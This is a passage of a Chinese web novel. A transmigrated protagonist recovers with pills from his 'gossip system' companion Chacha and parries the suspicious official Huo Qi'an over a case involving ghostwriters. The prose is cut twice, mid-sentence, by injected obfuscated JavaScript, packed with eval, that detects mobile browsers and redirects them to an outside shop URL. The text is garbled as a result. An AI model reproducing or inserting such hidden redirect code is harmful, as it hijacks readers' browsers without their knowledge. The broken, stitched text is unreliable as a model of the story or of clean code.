“行行行,赶紧把丹药给我。”何林秋答应得很爽快,不过以后的事以后再说,现在答应得不作数。 猹猹磨磨蹭蹭地将丹药给了他,道:“待会儿御医就要来了,你现在吃药,不合适吧。” “等御医走了,我再吃。接下来一段时日,霍齐安应该会很忙,不会再来烦我。” 约莫一炷香后,王兴和终于来了,何林秋从昏昏沉沉中醒来,就听王兴和在叮嘱陶旺,什么要卧床静养,不得吹风等等。陶旺一一答应,很快两人便相继离开,房门被关上,何林秋睁开了眼睛,将一颗强身健体丹吞了下去。吃完丹药,何林秋又昏昏沉沉睡了过去,其间房中有人进出,先是试体温,又是喂药,只是他格外疲倦,压根睁不开眼睛,就这么一睡就是三天,第四天上午才醒来。 “公子,您终于醒了!” 声音有些陌生,何林秋转头看过去,竟是谭明。他撑起身子,谭明上前帮忙,靠坐在床头,问道:“我这是睡了多久?” “公子昏睡三天了。” 难怪浑身无力。何林秋质问道:“猹猹,你是不是该跟我解释一下。” “丹药发挥效用需要时间,而宿主的身体太弱,昏睡是正常现象。”猹猹不慌不忙地解释,“宿主感觉浑身无力,是因为长时间没有进食,只要吃饱喝足,宿主就能感觉到服用丹药的效果。” 何林秋对此半信半疑,道:“我饿了,给我弄点吃的过来。” 谭明递给何林秋一杯温水,道:“公子先喝点水润润嗓子,奴才待会儿就去厨房。” 因为发烧,何林秋的嗓子火辣辣地疼,确实需要喝水来缓解,一小口一小口地喝光杯子里的水。 谭明接过水杯,关切地问道:“公子可还要?” 见何林秋摇头,谭明接着说道:“那奴才这就去厨房,公子稍等片刻。” 看着房门被打开,又被关上,何林秋小声说道:“谭明对我的态度有点过于热情,他应该是知道了什么。” 猹猹再次感叹何林秋的敏锐,道:“霍齐安派人暗中调查郁淮章,已经锁定那两个代笔的位置。” “动作这么快?”何林秋有些惊讶,“不愧是皇帝的耳目。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983783|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “于大学士也被卷入其中,你说霍齐安会怎么做呢?”何林秋对这个比较感兴趣。 猹猹沉吟片刻,道:“因为那个奇葩老太太,霍齐安与于家并不亲近,他应该不会徇私。” “他是不会徇私,不过不是因为与于家不亲近,而是因为皇位之争。他是想趁机将他们拉出来,以后还能逃过一劫。” “皇位之争?”猹猹无辜地眨眨眼,“你这话是什么意思?” 何林秋见状,歇了要解释的心思,笑着说道:“我很好奇。” “好奇什么?” “你们做系统的都不需要考核吗?” “需要啊,考核非常严格,我可是经过重重考核才通过的。”猹猹骄傲地挺起小胸脯。 “考核很严格?都有什么考核?应该不考智商吧。” “考啊。”猹猹愣了一下,随即明白了何林秋的意思,恼怒道:“宿主,你是在说我没脑子吗?” “我说了吗?”何林秋学它的模样,无辜地眨了眨眼。 “宿主,你就是这个意思!哼,我不跟你好了!”猹猹生气地背过身去,用圆滚滚的小屁股面对何林秋。 何林秋轻笑,不得不说,这只小家伙蠢萌蠢萌的,还真挺讨人喜欢。 约莫一盏茶后,谭明拎着食盒进来,将矮桌放到床上,摆上饭菜,“公子,大人吩咐粥要时时炖着,公子何时醒,何时吃。” 何林秋端碗的动作一顿,有些奇怪谭明为什么要说这些,不过该说的话还是得说,“我这副身体不中用,让大人挂心了。” “公子大义,舍身相救,大人一直记在心里。” “这都是我应该做的。” “公子慢慢吃,奴才待会儿过来收拾。” 粥的温度刚好,何林秋一口粥一口小菜地吃着,他现在的肠胃也就只能吃这些清淡的食物。吃饱喝足,谭明进来收拾碗筷,何林秋则看书打发时间,午后又睡了一个时辰,再次醒来后,便感觉精气神都比之前好太多,身上也恢复了气力,不再是软绵绵的,这是丹药起了作用。下午,何林秋又吃了一颗强身健体丹,这次只昏睡了一天一夜,醒来后的状态又好上不少。饭后,何林秋还出了院子,在花园里转了一圈,虽然有些累,却不似之前那般虚弱。 霍齐安回府时,已经是半夜,他照常去了海棠院,询问何林秋的情况。谭明如实禀告。 “他又去了花园?”霍齐安狭长的眸子拢上寒霜,上次去花园烧了整整三日,是嫌自己的命太长吗? 谭明见状,心头一颤,急忙说道:“大人,公子的气色好了很多,晚膳还多用了一碗,御医也说公子可以适当活动活动。” 霍齐安睨了他一眼,推开房门走了进去,借着昏黄的灯光,看向床上的人,脸色红润了些,气息也平稳有力,看上去比昨天的状态确实好上许多。霍齐安收敛眼中的情绪,在床边坐下。 “大半夜的,这家伙想干嘛?” 16.他那是什么眼神? 午睡了一个时辰,何林秋有些睡不着,霍齐安一进来,就被发现了。三更半夜,月黑风高,何林秋怀疑来者不善,便假装熟睡,想知道来人要做什么。待来人走到床前,何林秋便已确定身份,霍齐安的存在感太强,尤其被他盯着的时候,有种汗毛倒竖的感觉。还有他身上的那股裹挟着淡淡血腥味的檀香,何林秋只在他身上闻到过。 何林秋尽量调整呼吸,不让霍齐安发现,心里忍不住吐槽:“猹猹,他这是抽的哪门子风,来我房里做什么?” 猹猹睡得正香,听到何林秋的声音,小耳朵动了动,却只是翻了个身,肚皮朝上地接着睡。 “猹猹!”何林秋猛地提高音量,吓了猹猹一激灵,一骨碌从地上爬了起来,茫然地问道:“谁?干嘛?发生什么事了?” 何林秋被他逗笑,重复道:“我问你,这个男人怎么回事?三更半夜不睡觉,跑我房里做什么?” 猹猹眨了眨眼,宕机的大脑终于开始运转,待它反应过来何林秋在问什么时,本能地回答:“他每天都来啊。” 何林秋愣了愣,随即问道:“这话是什么意思?什么叫他每天都来?” 猹猹闻言,彻底醒了,急忙找补道:“我是说你昏睡这几天,他每天都来询问你的情况。” 何林秋对它话里的真实性保持怀疑态度,“问就问,他大半夜地站在我床头是怎么回事?就不怕我突然醒了,被他给吓死。” 被何林秋坑了这么多次,猹猹痛定思痛,重新阅读了他的资料,对何林秋的生平有了更深刻的认识。这人就是怪物,还是个彻头彻尾的疯子,做事不要命,十年有九次被送ICU,看惯了生死的医生都被他所受的伤震惊。 “宿主,你是不是对自己有什么误解,就算再多的人被吓死,也不可能是宿主。”猹猹忍不住在心里叹了口气,它的眼光是真好,居然选了这么一个宿主。 “醒了?”霍齐安突然出声,声音低沉悦耳,像是大提琴在演奏。 何林秋身子一僵,刚才和猹猹聊天太投入,竟露出了破绽。他不情不愿地睁开眼,坐起身,行礼道:“属下参见大人。” “刚才他明明醒了,在假寐,为何没听到他的心声?”霍齐安审视着何林秋,“既然醒了,为何要假寐?” “不是,瞧这话问的,是你三更半夜出现在我的卧房,我还没问你,你倒先质问起我了。”何林秋输出心声。 “有心声。”霍齐安心中的不悦消散,“怎么不说话?” “三更半夜,突然有人闯进卧房,属下以为来人和曹福一样,是要对属下下手。”何林秋说的是实话,只是隐瞒了猜到来人是霍齐安的事实,这样的答案不会引人怀疑。 “以后不会再有类似的事发生。” “啊?”何林秋愣了一下,以为霍齐安说深更半夜进他卧房的事不会发生,“大人来找属下是有事吩咐?” 霍齐安走到桌前,拎起水壶倒了杯水,返回床边递给何林秋。何林秋迟疑了一瞬,伸手接了过来,不明所以地喝了一口,问道:“大人,您深夜来找属下,可是有事吩咐?” “郁淮章的代笔找到了。” “这么快?”何林秋输送心声,“不愧是霍齐安,居然这么快就找到了。” 俗话说得好,千穿万穿,马屁不穿。何林秋在现代活了三十多年,从事的又是看人脸色行事的行业,人情世故还是很在行的。 霍齐安闻言,嘴角微微翘了翘,幅度很小,几乎看不出来,“郁淮章果然如你所说,没有真才实学,之所以能考中状元,是因为有人给他泄题,他找人代笔。” “属下就觉得这个郁淮章有问题,果然没错。”何林秋笑笑,继续输送心声,“也不知这两个代笔会如何处置,那个席延华是有真才实学的,是郁淮章拿他母亲的生命威胁,这才沦为代笔。” “他居然查到这么多,看来是真的在关注谭家的案子,这是为何?他与谭家并无交集,为何这般费心费力?”霍齐安沉默片刻,直截了当地问道:“你为何这般关注谭家?” “谭家人偶然间帮过属下,属下这么做是在还人情。” “谭家的谁,帮了你什么?” “这么刨根问底,是又在怀疑我?”何林秋在心里翻了个白眼,嘴上却说道:“是谭家的二小姐。我小时候受尽虐待,经常食不果腹,有段时间谭家二小姐在城中施粥,帮属下度过了一段难熬的日子。” 何林秋说的是实话,记忆中确实有这么一段,就算霍齐安派人去查,也没什么好怕的。 “她知道你的身份?” “不知道。若是让伯府的人发现,属下又得挨一顿毒打。”何林秋的嘴角勾起一抹恰到好处的苦笑。 知恩图报,重情重义,在那样一个吃人不吐骨头的大宅里,长成这样实在难得。霍齐安看向何林秋的眼神又柔和了几分,起身说道:“歇着吧。” 何林秋瞧着他离开的背影,回想刚才他看自己的眼神,不禁皱紧眉头,问道:“猹猹,他刚才的眼神是什么意思?同情我?” “原主小时候过得很苦,霍齐安肯定调查过,同情他有什么好奇怪的。” 何林秋打量着猹猹,总觉得它的表情有些奇怪,“猹猹……” “叮,支线任务开启,揭开席延华的身世,完成任务获得一千积分。”猹猹公式化的声音响起。 听到任务,何林秋愣了愣,随即说道:“猹猹,你还记不记得自己是个吃瓜系统。” “当然记得。席延华的身世就有大瓜。” “大瓜?”何林秋眼睛亮了,“那说来听听。” 猹猹往后退了一步,拉开与何林秋的距离,生怕又被占便宜,“这次我不能帮忙,宿主要自己去查。” 何林秋见状,不禁有些好笑,道:“谭家的案子已经有了进展,平反是早晚的事,积分什么时候发放?” “积分要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990589|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭家的案子彻底被平反才能发放。” “那就先预支五百积分。” “不行!”猹猹又往后退了几步,警惕盯着何林秋,“宿主,你别想再坑我!” “不是你派给我的任务嘛。我一没权,二没钱,要想完成任务,就得靠自己这两条腿。你觉得就我目前的身体状况,能在外面奔波?” 猹猹张了张嘴,到底没说出反驳的话。 “有了我的提示,以霍齐安的聪明,再加上皇上的助力,谭家的案子被平反是板上钉钉的事,积分早晚得到账。我现在只支五百积分,换一颗强身健体丹,只要再吃一颗,我的身体就能恢复七成,做起事来事半功倍,不好吗?” 猹猹纠结得小脸全是褶子,明明心里想着绝不能再让何林秋占便宜,可每当听他说话又觉得很有道理。 “猹猹,你要记住,咱们俩是利益共同体,一条绳上的蚂蚱,只有我的身体尽快恢复,才能更好地完成任务。再说,我是支取,又不是让你白给我,你有什么好纠结的。” 猹猹抬起小爪子挠挠头,偷偷瞄了何林秋一眼,忍不住在心里犯起嘀咕:“怎么办,感觉很有道理。” “我给你时间考虑。”何林秋打了个哈欠,“明早给我答案。” 何林秋舒舒服服地睡了过去,猹猹却纠结了一晚上,等何林秋醒来一瞧,差点没乐出声。猹猹蔫头耷脑,圆溜溜的眼睛布满血丝,就像被妖精吸了精气一般。 “五百积分而已,至于你把自己搞成这样?”何林秋瞧着它的眼神满是嫌弃,“我能申请换系统吗?” “不能!”猹猹一脸不高兴,要不是绑定以后就不能更改,它早就换宿主了,他坑了它这么多次,居然还嫌弃上了。 “不能啊,那太可惜了!”何林秋对此表示非常遗憾,“考虑得怎么样?” “可以是可以,但仅此一次。”猹猹不情不愿地说道,“是要兑换强身健体丹,对吧。” 何林秋点点头,道:“咱们这关系,是不是打个折?” “想都别想!”猹猹一脸防备地盯着何林秋,急忙兑换了一颗强身健体丹给他,“就一颗,五百积分!宿主,你别想再坑我!” “就你这股小家子气,放在现代,顶多是小康家庭,发不了大财。”何林秋将强身健体丹送进嘴里,花生大小的丹药,遇水即化,没有一点味道,特别适合何林秋。 “公子可是醒了?”是陶旺的声音。 “进来吧。”何林秋起身下床。 房门被推开,陶旺走了进来,身后跟着几个小厮,手里端着洗漱用的东西。何林秋做了两个月衣来伸手饭来张口的少爷,还是不太习惯,就像现代,即便他身家几十亿,家里也就只有个负责清洁的保姆。 饭后,何林秋收拾齐整,抬头看向陶旺,道:“大人在不在府上?” “公子,大人一早便去了衙门。” “备车,去衙门一趟。”